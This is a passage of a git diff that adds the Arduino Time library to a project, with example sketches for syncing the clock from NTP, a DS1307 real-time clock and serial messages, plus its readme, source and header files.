for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +/*-------- NTP code ----------*/ + +unsigned long getNtpTime() +{ + sendNTPpacket(SNTP_server_IP); + delay(1000); + if ( UdpBytewise.available() ) { + for(int i=0; i < 40; i++) + UdpBytewise.read(); // ignore every field except the time + const unsigned long seventy_years = 2208988800UL + timeZoneOffset; + return getUlong() - seventy_years; + } + return 0; // return 0 if unable to get the time +} + +unsigned long sendNTPpacket(byte *address) +{ + UdpBytewise.begin(123); + UdpBytewise.beginPacket(address, 123); + UdpBytewise.write(B11100011); // LI, Version, Mode + UdpBytewise.write(0); // Stratum + UdpBytewise.write(6); // Polling Interval + UdpBytewise.write(0xEC); // Peer Clock Precision + write_n(0, 8); // Root Delay & Root Dispersion + UdpBytewise.write(49); + UdpBytewise.write(0x4E); + UdpBytewise.write(49); + UdpBytewise.write(52); + write_n(0, 32); //Reference and time stamps + UdpBytewise.endPacket(); +} + +unsigned long getUlong() +{ + unsigned long ulong = (unsigned long)UdpBytewise.read() << 24; + ulong |= (unsigned long)UdpBytewise.read() << 16; + ulong |= (unsigned long)UdpBytewise.read() << 8; + ulong |= (unsigned long)UdpBytewise.read(); + return ulong; +} + +void write_n(int what, int how_many) +{ + for( int i = 0; i < how_many; i++ ) + UdpBytewise.write(what); +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde new file mode 100755 index 0000000..1a1ed80 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTC/TimeRTC.pde @@ -0,0 +1,47 @@ +/* + * TimeRTC.pde + * example code illustrating Time library with Real Time Clock. + * + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to get the time from the RTC + if(timeStatus()!= timeSet) + Serial.println("Unable to sync with the RTC"); + else + Serial.println("RTC has set the system time"); +} + +void loop() +{ + digitalClockDisplay(); + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde new file mode 100755 index 0000000..76ed17d --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCLog/TimeRTCLog.pde @@ -0,0 +1,106 @@ +/* + * TimeRTCLogger.pde + * example code illustrating adding and subtracting Time. + * + * this sketch logs pin state change events + * the time of the event and time since the previous event is calculated and sent to the serial port. + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + +const int nbrInputPins = 6; // monitor 6 digital pins +const int inputPins[nbrInputPins] = {2,3,4,5,6,7}; // pins to monitor +boolean state[nbrInputPins] ; // the state of the monitored pins +time_t prevEventTime[nbrInputPins] ; // the time of the previous event + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to sync the time from the RTC + for(int i=0; i < nbrInputPins; i++){ + pinMode( inputPins[i], INPUT); + // digitalWrite( inputPins[i], HIGH); // uncomment these lines if + // state[i] = HIGH; // pull-up resistors are wanted + } +} + +void loop() +{ + for(int i=0; i < nbrInputPins; i++) + { + boolean val = digitalRead(inputPins[i]); + if(val != state[i]) + { + time_t duration = 0; // the time since the previous event + state[i] = val; + time_t timeNow = now(); + if(prevEventTime[i] > 0) + // if this was not the first state change, calculate the time from the previous change + duration = duration = timeNow - prevEventTime[i]; + logEvent(inputPins[i], val, timeNow, duration ); // log the event + prevEventTime[i] = timeNow; // store the time for this event + } + } +} + +void logEvent( int pin, boolean state, time_t timeNow, time_t duration) +{ + Serial.print("Pin "); + Serial.print(pin); + if( state == HIGH) + Serial.print(" went High at "); + else + Serial.print(" went Low at "); + showTime(timeNow); + if(duration > 0){ + // only display duration if greater than 0 + Serial.print(", Duration was "); + showDuration(duration); + } + Serial.println(); +} + + +void showTime(time_t t){ + // display the given time + Serial.print(hour(t)); + printDigits(minute(t)); + printDigits(second(t)); + Serial.print(" "); + Serial.print(day(t)); + Serial.print(" "); + Serial.print(month(t)); + Serial.print(" "); + Serial.print(year(t)); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void showDuration(time_t duration){ +// prints the duration in days, hours, minutes and seconds + if(duration >= SECS_PER_DAY){ + Serial.print(duration / SECS_PER_DAY); + Serial.print(" day(s) "); + duration = duration % SECS_PER_DAY; + } + if(duration >= SECS_PER_HOUR){ + Serial.print(duration / SECS_PER_HOUR); + Serial.print(" hour(s) "); + duration = duration % SECS_PER_HOUR; + } + if(duration >= SECS_PER_MIN){ + Serial.print(duration / SECS_PER_MIN); + Serial.print(" minute(s) "); + duration = duration % SECS_PER_MIN; + } + Serial.print(duration); + Serial.print(" second(s) "); +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde new file mode 100755 index 0000000..48b696c --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeRTCSet/TimeRTCSet.pde @@ -0,0 +1,82 @@ +/* + * TimeRTCSet.pde + * example code illustrating Time library with Real Time Clock. + * + * RTC clock is set in response to serial port time message + * A Processing example sketch to set the time is inclided in the download + */ + +#include +#include +#include // a basic DS1307 library that returns time as a time_t + + +void setup() { + Serial.begin(9600); + setSyncProvider(RTC.get); // the function to get the time from the RTC + if(timeStatus()!= timeSet) + Serial.println("Unable to sync with the RTC"); + else + Serial.println("RTC has set the system time"); +} + +void loop() +{ + if(Serial.available()) + { + time_t t = processSyncMessage(); + if(t >0) + { + RTC.set(t); // set the RTC and the system time to the received value + setTime(t); + } + } + digitalClockDisplay(); + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +/* code to process time sync messages from the serial port */ +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message + +time_t processSyncMessage() { + // return the time if a valid sync message is received on the serial port. + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + return pctime; + } + } + return 0; +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde new file mode 100755 index 0000000..55c67a6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeSerial/TimeSerial.pde @@ -0,0 +1,82 @@ +/* + * TimeSerial.pde + * example code illustrating Time library set through serial port messages. + * + * Messages consist of the letter T followed by ten digit time (as seconds since Jan 1 1970) + * you can send the text on the next line using Serial Monitor to set the clock to noon Jan 1 2010 + T1262347200 + * + * A Processing example sketch to automatically send the messages is inclided in the download + */ + +#include + +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message +#define TIME_REQUEST 7 // ASCII bell character requests a time sync message + +void setup() { + Serial.begin(9600); + setSyncProvider( requestSync); //set function to call when sync required + Serial.println("Waiting for sync message"); +} + +void loop(){ + if(Serial.available() ) + { + processSyncMessage(); + } + if(timeStatus()!= timeNotSet) + { + digitalWrite(13,timeStatus() == timeSet); // on if synced, off if needs refresh + digitalClockDisplay(); + } + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void processSyncMessage() { + // if time sync available from serial port, update time and return true + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + setTime(pctime); // Sync Arduino clock to the time received on the serial port + } + } +} + +time_t requestSync() +{ + Serial.print(TIME_REQUEST,BYTE); + return 0; // the time will be sent later in response to serial mesg +} + diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde new file mode 100755 index 0000000..dcff97e --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeSerialDateStrings/TimeSerialDateStrings.pde @@ -0,0 +1,80 @@ +/* + * TimeSerialDateStrings.pde + * example code illustrating Time library date strings + * + * This sketch adds date string functionality to TimeSerial.pde + * + */ + +#include + +#define TIME_MSG_LEN 11 // time sync to PC is HEADER followed by unix time_t as ten ascii digits +#define TIME_HEADER 'T' // Header tag for serial time sync message +#define TIME_REQUEST 7 // ASCII bell character requests a time sync message + +void setup() { + Serial.begin(9600); + setSyncProvider( requestSync); //set function to call when sync required + Serial.println("Waiting for sync message"); +} + +void loop(){ + if(Serial.available() ) + { + processSyncMessage(); + } + if(timeStatus()!= timeNotSet) + { + digitalClockDisplay(); + } + delay(1000); +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(dayStr(weekday())); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(monthShortStr(month())); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +void processSyncMessage() { + // if time sync available from serial port, update time and return true + while(Serial.available() >= TIME_MSG_LEN ){ // time message consists of a header and ten ascii digits + char c = Serial.read() ; + Serial.print(c); + if( c == TIME_HEADER ) { + time_t pctime = 0; + for(int i=0; i < TIME_MSG_LEN -1; i++){ + c = Serial.read(); + if( c >= '0' && c <= '9'){ + pctime = (10 * pctime) + (c - '0') ; // convert digits to a number + } + } + setTime(pctime); // Sync Arduino clock to the time received on the serial port + } + } +} + +time_t requestSync() +{ + Serial.print(TIME_REQUEST,BYTE); + return 0; // the time will be sent later in response to serial mesg +} + diff --git a/Projects/libraries/Installed_libs/Time/Readme.txt b/Projects/libraries/Installed_libs/Time/Readme.txt new file mode 100755 index 0000000..22bc4aa --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Readme.txt @@ -0,0 +1,131 @@ +Readme file for Arduino Time Library + +Time is a library that provides timekeeping functionality for Arduino. + +The code is derived from the Playground DateTime library but is updated +to provide an API that is more flexable and easier to use. + +A primary goal was to enable date and time functionality that can be used with +a variety of external time sources with minimum differences required in sketch logic. + +Example sketches illustrate how similar sketch code can be used with: a Real Time Clock, +internet NTP time service, GPS time data, and Serial time messages from a computer +for time synchronization. + +The functions available in the library include: + +hour(); // the hour now (0-23) +minute(); // the minute now (0-59) +second(); // the second now (0-59) +day(); // the day now (1-31) +weekday(); // day of the week, Sunday is day 0 +month(); // the month now (1-12) +year(); // the full four digit year: (2009, 2010 etc) + +there are also functions to return the hour in 12 hour format +hourFormat12(); // the hour now in 12 hour format +isAM(); // returns true if time now is AM +isPM(); // returns true if time now is PM + +now(); // returns the current time as seconds since Jan 1 1970 + +The time and date functions can take an optional parameter for the time. This prevents +errors if the time rolls over between elements. For example, if a new minute begins +between getting the minute and second, the values will be inconsistent. Using the +following functions eliminates this probglem + time_t t = now(); // store the current time in time variable t + hour(t); // returns the hour for the given time t + minute(t); // returns the minute for the given time t + second(t); // returns the second for the given time t + day(t); // the day for the given time t + weekday(t); // day of the week for the given time t + month(t); // the month for the given time t + year(t); // the year for the given time t + + +Functions for managing the timer services are: +setTime(t); // set the system time to the give time t +setTime(hr,min,sec,day,mnth,yr); // alternative to above, yr is 2 or 4 digit yr (2010 or 10 sets year to 2010) +adjustTime(adjustment); // adjust system time by adding the adjustment value + +timeStatus(); // indicates if time has been set and recently synchronized + // returns one of the following enumerations: + timeNotSet // the time has never been set, the clock started at Jan 1 1970 + timeNeedsSync // the time had been set but a sync attempt did not succeed + timeSet // the time is set and is synced +Time and Date values are not valid if the status is timeNotSet. Otherwise values can be used but +the returned time may have drifted if the status is timeNeedsSync. + +setSyncProvider(getTimeFunction); // set the external time provider +setSyncInterval(interval); // set the number of seconds between re-sync + + +There are many convenience macros in the time.h file for time constants and conversion of time units. + +To use the library, copy the download to the Library directory. + +The Time directory contains the Time library and some example sketches +illustrating how the library can be used with various time sources: + +- TimeSerial.pde shows Arduino as a clock without external hardware. + It is synchronized by time messages sent over the serial port. + A companion Processing sketch will automatically provide these messages + if it is running and connected to the Arduino serial port. + +- TimeSerialDateStrings.pde adds day and month name strings to the sketch above + Short (3 character) and long strings are available to print the days of + the week and names of the months. + +- TimeRTC uses a DS1307 real time clock to provide time synchronization. + A basic RTC library named DS1307RTC is included in the download. + To run this sketch the DS1307RTC library must be installed. + +- TimeRTCSet is similar to the above and adds the ability to set the Real Time Clock + +- TimeRTCLog demonstrates how to calculate the difference between times. + It is a vary simple logger application that monitors events on digtial pins + and prints (to the serial port) the time of an event and the time period since the previous event. + +- TimeNTP uses the Arduino Ethernet shield to access time using the internet NTP time service. + The NTP protocol uses UDP and the UdpBytewise library is required, see: + http://bitbucket.org/bjoern/arduino_osc/src/14667490521f/libraries/Ethernet/ + +-TimeGPS gets time from a GPS + This requires the TinyGPS and NewSoftSerial libraries from Mikal Hart: + http://arduiniana.org/libraries/TinyGPS and http://arduiniana.org/libraries/newsoftserial/ + +Differences between this code and the playground DateTime library +although the Time library is based on the DateTime codebase, the API has changed. +Changes in the Time library API: +- time elements are functions returning int (they are variables in DateTime) +- Years start from 1970 +- days of the week and months start from 1 (they start from 0 in DateTime) +- DateStrings do not require a seperate library +- time elements can be accessed non-atomically (in DateTime they are always atomic) +- function added to automatically sync time with extrnal source +- localTime and maketime parameters changed, localTime renamed to breakTime + +Technical notes: + +Internal system time is based on the standard Unix time_t. +The value is the number of seconds since Jan 1 1970. +System time begins at zero when the sketch starts. + +The internal time can be automatically synchronized at regular intervals to an external time source. +This is enabled by calling the setSyncProvider(provider) function - the provider argument is +the address of a function that returns the current time as a time_t. +See the sketches in the examples directory for usage. + +The default interval for re-syncing the time is 5 minutes but can be changed by calling the +setSyncInterval( interval) method to set the number of seconds between re-sync attempts. + +The Time library defines a structure for holding time elements that is a compact version of the C tm structure. +All the members of the Arduino tm structure are bytes and the year is offset from 1970. +Convenience macros provide conversion to and from the Arduino format. + +Low level functions to convert between system time and individual time elements are provided: + breakTime( time, &tm); // break time_t into elements stored in tm struct + makeTime( &tm); // return time_t from elements stored in tm struct + +The DS1307RTC library included in the download provides an example of how a time provider +can use the low level functions to interface with the Time library. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Time.cpp b/Projects/libraries/Installed_libs/Time/Time.cpp new file mode 100755 index 0000000..86bdcd5 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Time.cpp @@ -0,0 +1,307 @@ +/* + time.c - low level time and date functions + Copyright (c) Michael Margolis 2009 + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + 6 Jan 2010 - initial release + 12 Feb 2010 - fixed leap year calculation error + 1 Nov 2010 - fixed setTime bug (thanks to Korman for this) +*/ + +#if ARDUINO >= 100 +#include +#else +#include +#endif + +#include "Time.h" + +static tmElements_t tm; // a cache of time elements +static time_t cacheTime; // the time the cache was updated +static time_t syncInterval = 300; // time sync will be attempted after this many seconds + +void refreshCache( time_t t){ + if( t != cacheTime) + { + breakTime(t, tm); + cacheTime = t; + } +} + +int hour() { // the hour now + return hour(now()); +} + +int hour(time_t t) { // the hour for the given time + refreshCache(t); + return tm.Hour; +} + +int hourFormat12() { // the hour now in 12 hour format + return hourFormat12(now()); +} + +int hourFormat12(time_t t) { // the hour for the given time in 12 hour format + refreshCache(t); + if( tm.Hour == 0 ) + return 12; // 12 midnight + else if( tm.Hour > 12) + return tm.Hour - 12 ; + else + return tm.Hour ; +} + +uint8_t isAM() { // returns true if time now is AM + return !isPM(now()); +} + +uint8_t isAM(time_t t) { // returns true if given time is AM + return !isPM(t); +} + +uint8_t isPM() { // returns true if PM + return isPM(now()); +} + +uint8_t isPM(time_t t) { // returns true if PM + return (hour(t) >= 12); +} + +int minute() { + return minute(now()); +} + +int minute(time_t t) { // the minute for the given time + refreshCache(t); + return tm.Minute; +} + +int second() { + return second(now()); +} + +int second(time_t t) { // the second for the given time + refreshCache(t); + return tm.Second; +} + +int day(){ + return(day(now())); +} + +int day(time_t t) { // the day for the given time (0-6) + refreshCache(t); + return tm.Day; +} + +int weekday() { // Sunday is day 1 + return weekday(now()); +} + +int weekday(time_t t) { + refreshCache(t); + return tm.Wday; +} + +int month(){ + return month(now()); +} + +int month(time_t t) { // the month for the given time + refreshCache(t); + return tm.Month; +} + +int year() { // as in Processing, the full four digit year: (2009, 2010 etc) + return year(now()); +} + +int year(time_t t) { // the year for the given time + refreshCache(t); + return tmYearToCalendar(tm.Year); +} + +/*============================================================================*/ +/* functions to convert to and from system time */ +/* These are for interfacing with time serivces and are not normally needed in a sketch */ + +// leap year calulator expects year argument as years offset from 1970 +#define LEAP_YEAR(Y) ( ((1970+Y)>0) && !((1970+Y)%4) && ( ((1970+Y)%100) || !((1970+Y)%400) ) ) + +static const uint8_t monthDays[]={31,28,31,30,31,30,31,31,30,31,30,31}; // API starts months from 1, this array starts from 0 + +void breakTime(time_t time, tmElements_t &tm){ +// break the given time_t into time components +// this is a more compact version of the C library localtime function +// note that year is offset from 1970 !!! + + uint8_t year; + uint8_t month, monthLength; + unsigned long days; + + tm.Second = time % 60; + time /= 60; // now it is minutes + tm.Minute = time % 60; + time /= 60; // now it is hours + tm.Hour = time % 24; + time /= 24; // now it is days + tm.Wday = ((time + 4) % 7) + 1; // Sunday is day 1 + + year = 0; + days = 0; + while((unsigned)(days += (LEAP_YEAR(year) ? 366 : 365)) <= time) { + year++; + } + tm.Year = year; // year is offset from 1970 + + days -= LEAP_YEAR(year) ? 366 : 365; + time -= days; // now it is days in this year, starting at 0 + + days=0; + month=0; + monthLength=0; + for (month=0; month<12; month++) { + if (month==1) { // february + if (LEAP_YEAR(year)) { + monthLength=29; + } else { + monthLength=28; + } + } else { + monthLength = monthDays[month]; + } + + if (time >= monthLength) { + time -= monthLength; + } else { + break; + } + } + tm.Month = month + 1; // jan is month 1 + tm.Day = time + 1; // day of month +} + +time_t makeTime(tmElements_t &tm){ +// assemble time elements into time_t +// note year argument is offset from 1970 (see macros in time.h to convert to other formats) +// previous version used full four digit year (or digits since 2000),i.e. 2009 was 2009 or 9 + + int i; + time_t seconds; + + // seconds from 1970 till 1 jan 00:00:00 of the given year + seconds= tm.Year*(SECS_PER_DAY * 365); + for (i = 0; i < tm.Year; i++) { + if (LEAP_YEAR(i)) { + seconds += SECS_PER_DAY; // add extra days for leap years + } + } + + // add days for this year, months start from 1 + for (i = 1; i < tm.Month; i++) { + if ( (i == 2) && LEAP_YEAR(tm.Year)) { + seconds += SECS_PER_DAY * 29; + } else { + seconds += SECS_PER_DAY * monthDays[i-1]; //monthDay array starts from 0 + } + } + seconds+= (tm.Day-1) * SECS_PER_DAY; + seconds+= tm.Hour * SECS_PER_HOUR; + seconds+= tm.Minute * SECS_PER_MIN; + seconds+= tm.Second; + return seconds; +} +/*=====================================================*/ +/* Low level system time functions */ + +static time_t sysTime = 0; +static time_t prevMillis = 0; +static time_t nextSyncTime = 0; +static timeStatus_t Status = timeNotSet; + +getExternalTime getTimePtr; // pointer to external sync function +//setExternalTime setTimePtr; // not used in this version + +#ifdef TIME_DRIFT_INFO // define this to get drift data +time_t sysUnsyncedTime = 0; // the time sysTime unadjusted by sync +#endif + + +time_t now(){ + while( millis() - prevMillis >= 1000){ + sysTime++; + prevMillis += 1000; +#ifdef TIME_DRIFT_INFO + sysUnsyncedTime++; // this can be compared to the synced time to measure long term drift +#endif + } + if(nextSyncTime <= sysTime){ + if(getTimePtr != 0){ + time_t t = getTimePtr(); + if( t != 0) + setTime(t); + else + Status = (Status == timeNotSet) ? timeNotSet : timeNeedsSync; + } + } + return sysTime; +} + +void setTime(time_t t){ +#ifdef TIME_DRIFT_INFO + if(sysUnsyncedTime == 0) + sysUnsyncedTime = t; // store the time of the first call to set a valid Time +#endif + + sysTime = t; + nextSyncTime = t + syncInterval; + Status = timeSet; + prevMillis = millis(); // restart counting from now (thanks to Korman for this fix) +} + +void setTime(int hr,int min,int sec,int dy, int mnth, int yr){ + // year can be given as full four digit year or two digts (2010 or 10 for 2010); + //it is converted to years since 1970 + if( yr > 99) + yr = yr - 1970; + else + yr += 30; + tm.Year = yr; + tm.Month = mnth; + tm.Day = dy; + tm.Hour = hr; + tm.Minute = min; + tm.Second = sec; + setTime(makeTime(tm)); +} + +void adjustTime(long adjustment){ + sysTime += adjustment; +} + +timeStatus_t timeStatus(){ // indicates if time has been set and recently synchronized + return Status; +} + +void setSyncProvider( getExternalTime getTimeFunction){ + getTimePtr = getTimeFunction; + nextSyncTime = sysTime; + now(); // this will sync the clock +} + +void setSyncInterval(time_t interval){ // set the number of seconds between re-sync + syncInterval = interval; +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Time.h b/Projects/libraries/Installed_libs/Time/Time.h new file mode 100755 index 0000000..e54f3b0 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Time.h @@ -0,0 +1,126 @@ +/* + time.h - low level time and date functions +*/ + +/* + July 3 2011 - fixed elapsedSecsThisWeek macro (thanks Vincent Valdy for this) + - fixed daysToTime_t macro (thanks maniacbug) +*/ + +#ifndef _Time_h +#define _Time_h + +#include + +typedef unsigned long time_t; + +typedef enum {timeNotSet, timeNeedsSync, timeSet +} timeStatus_t ; + +typedef enum { + dowInvalid, dowSunday, dowMonday, dowTuesday, dowWednesday, dowThursday, dowFriday, dowSaturday +} timeDayOfWeek_t; + +typedef enum { + tmSecond, tmMinute, tmHour, tmWday, tmDay,tmMonth, tmYear, tmNbrFields +} tmByteFields; + +typedef struct { + uint8_t Second; + uint8_t Minute; + uint8_t Hour; + uint8_t Wday; // day of week, sunday is day 1 + uint8_t Day; + uint8_t Month; + uint8_t Year; // offset from 1970; +} tmElements_t, TimeElements, *tmElementsPtr_t; + +//convenience macros to convert to and from tm years +#define tmYearToCalendar(Y) ((Y) + 1970) // full four digit year +#define CalendarYrToTm(Y) ((Y) - 1970) +#define tmYearToY2k(Y) ((Y) - 30) // offset is from 2000 +#define y2kYearToTm(Y) ((Y) + 30) + +typedef time_t(*getExternalTime)(); +//typedef void (*setExternalTime)(const time_t); // not used in this version + + +/*==============================================================================*/ +/* Useful Constants */ +#define SECS_PER_MIN (60UL) +#define SECS_PER_HOUR (3600UL) +#define SECS_PER_DAY (SECS_PER_HOUR * 24UL) +#define DAYS_PER_WEEK (7UL) +#define SECS_PER_WEEK (SECS_PER_DAY * DAYS_PER_WEEK) +#define SECS_PER_YEAR (SECS_PER_WEEK * 52UL) +#define SECS_YR_2000 (946684800UL) // the time at the start of y2k + +/* Useful Macros for getting elapsed time */ +#define numberOfSeconds(_time_) (_time_ % SECS_PER_MIN) +#define numberOfMinutes(_time_) ((_time_ / SECS_PER_MIN) % SECS_PER_MIN) +#define numberOfHours(_time_) (( _time_% SECS_PER_DAY) / SECS_PER_HOUR) +#define dayOfWeek(_time_) ((( _time_ / SECS_PER_DAY + 4) % DAYS_PER_WEEK)+1) // 1 = Sunday +#define elapsedDays(_time_) ( _time_ / SECS_PER_DAY) // this is number of days since Jan 1 1970 +#define elapsedSecsToday(_time_) (_time_ % SECS_PER_DAY) // the number of seconds since last midnight +// The following macros are used in calculating alarms and assume the clock is set to a date later than Jan 1 1971 +// Always set the correct time before settting alarms +#define previousMidnight(_time_) (( _time_ / SECS_PER_DAY) * SECS_PER_DAY) // time at the start of the given day +#define nextMidnight(_time_) ( previousMidnight(_time_) + SECS_PER_DAY ) // time at the end of the given day +#define elapsedSecsThisWeek(_time_) (elapsedSecsToday(_time_) + ((dayOfWeek(_time_)-1) * SECS_PER_DAY) ) // note that week starts on day 1 +#define previousSunday(_time_) (_time_ - elapsedSecsThisWeek(_time_)) // time at the start of the week for the given time +#define nextSunday(_time_) ( previousSunday(_time_)+SECS_PER_WEEK) // time at the end of the week for the given time + + +/* Useful Macros for converting elapsed time to a time_t */ +#define minutesToTime_t ((M)) ( (M) * SECS_PER_MIN) +#define hoursToTime_t ((H)) ( (H) * SECS_PER_HOUR) +#define daysToTime_t ((D)) ( (D) * SECS_PER_DAY) // fixed on Jul 22 2011 +#define weeksToTime_t ((W)) ( (W) * SECS_PER_WEEK) + +/*============================================================================*/ +/* time and date functions */ +int hour(); // the hour now +int hour(time_t t); // the hour for the given time +int hourFormat12(); // the hour now in 12 hour format +int hourFormat12(time_t t); // the hour for the given time in 12 hour format +uint8_t isAM(); // returns true if time now is AM +uint8_t isAM(time_t t); // returns true the given time is AM +uint8_t isPM(); // returns true if time now is PM +uint8_t isPM(time_t t); // returns true the given time is PM +int minute(); // the minute now +int minute(time_t t); // the minute for the given time +int second(); // the second now +int second(time_t t); // the second for the given time +int day(); // the day now +int day(time_t t); // the day for the given time +int weekday(); // the weekday now (Sunday is day 1) +int weekday(time_t t); // the weekday for the given time +int month(); // the month now (Jan is month 1) +int month(time_t t); // the month for the given time +int year(); // the full four digit year: (2009, 2010 etc) +int year(time_t t); // the year for the given time + +time_t now(); // return the current time as seconds since Jan 1 1970 +void setTime(time_t t); +void setTime(int hr,int min,int sec,int day, int month, int yr); +void adjustTime(long adjustment); + +/* date strings */ +#define dt_MAX_STRING_LEN 9 // length of longest date string (excluding terminating null) +char* monthStr(uint8_t month); +char* dayStr(uint8_t day); +char* monthShortStr(uint8_t month); +char* dayShortStr(uint8_t day); + +/* time sync functions */ +timeStatus_t timeStatus(); // indicates if time has been set and recently synchronized +void setSyncProvider( getExternalTime getTimeFunction); // identify the external time provider +void setSyncInterval(time_t interval); // set the number of seconds between re-sync + +/* low level functions to convert to and from system time */ +void breakTime(time_t time, tmElements_t &tm); // break time_t into elements +time_t makeTime(tmElements_t &tm); // convert time elements into time_t + + +#endif /* _Time_h */ + diff --git a/Projects/libraries/Installed_libs/Time/keywords.txt b/Projects/libraries/Installed_libs/Time/keywords.txt new file mode 100755 index 0000000..f921672 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/keywords.txt @@ -0,0 +1,33 @@ +####################################### +# Syntax Coloring Map For Time +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### +time_t KEYWORD1 +####################################### +# Methods and Functions (KEYWORD2) +####################################### +now KEYWORD2 +second KEYWORD2 +minute KEYWORD2 +hour KEYWORD2 +day KEYWORD2 +month KEYWORD2 +year KEYWORD2 +isAM KEYWORD2 +isPM KEYWORD2 +weekday KEYWORD2 +setTime KEYWORD2 +adjustTime KEYWORD2 +setSyncProvider KEYWORD2 +setSyncInteval KEYWORD2 +timeStatus KEYWORD2 +####################################### +# Instances (KEYWORD2) +####################################### + +####################################### +# Constants (LITERAL1) +####################################### diff --git a/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp b/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp new file mode 100644 index 0000000..58a4094 --- /dev/null +++ b/Projects/libraries/Installed_libs/TimerOnev2/TimerOne.cpp @@ -0,0 +1,137 @@ +/* + * Interrupt and PWM utilities for 16 bit Timer1 on ATmega168/328 + * Original code by Jesse Tane for http://labs.ideo.com August 2008 + * Modified March 2009 by Jérôme Despatis and Jesse Tane for ATmega328 support + * Modified June 2009 by Michael Polli and Jesse Tane to fix a bug in setPeriod() which caused the timer to stop + * Modified June 2011 by Lex Talionis to add a function to read the timer + * + * This is free software. You can redistribute it and/or modify it under + * the terms of Creative Commons Attribution 3.0 United States License. + * To view a copy of this license, visit http://creativecommons.org/licenses/by/3.0/us/ + 